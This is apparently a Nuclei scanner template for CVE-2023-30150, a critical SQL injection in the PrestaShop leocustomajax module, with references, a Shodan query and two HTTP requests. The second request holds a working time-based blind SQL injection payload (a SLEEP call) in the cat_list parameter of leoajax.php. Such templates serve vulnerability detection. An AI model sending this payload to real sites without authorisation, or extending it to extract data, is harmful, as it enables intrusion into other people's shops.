id: CVE-2023-30150 info: name: PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection author: mastercho severity: critical description: | PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php. remediation: | Apply the latest security patch or upgrade to a patched version of PrestaShop leocustomajax plugin to mitigate the SQL Injection vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-30150 - https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html - https://www.tenable.com/cve/CVE-2023-30150 - https://friends-of-presta.github.io/security-advisories/module/2023/06/06/leocustomajax.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-30150 cwe-id: CWE-89 epss-score: 0.02634 epss-percentile: 0.8921 cpe: cpe:2.3:a:leotheme:leocustomajax:1.0.0:*:*:*:*:prestashop:*:* metadata: verified: true max-request: 2 vendor: leotheme product: leocustomajax framework: prestashop shodan-query: http.component:"Prestashop" tags: cve,cve2023,prestashop,sqli http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration_2>=6' - 'contains(tolower(response_1), "prestashop")' condition: and # digest: 4b0a00483046022100a73522b415575e2d92fc85b92ff29cf2bfb6e2fe4b9710933659fe255408bd0d0221009a0c3631fffd58e460bb20f8c3eb1f885d4a00047a62db6de178c01bc6ee6922:922c64590222798bb761d5b6d8e72950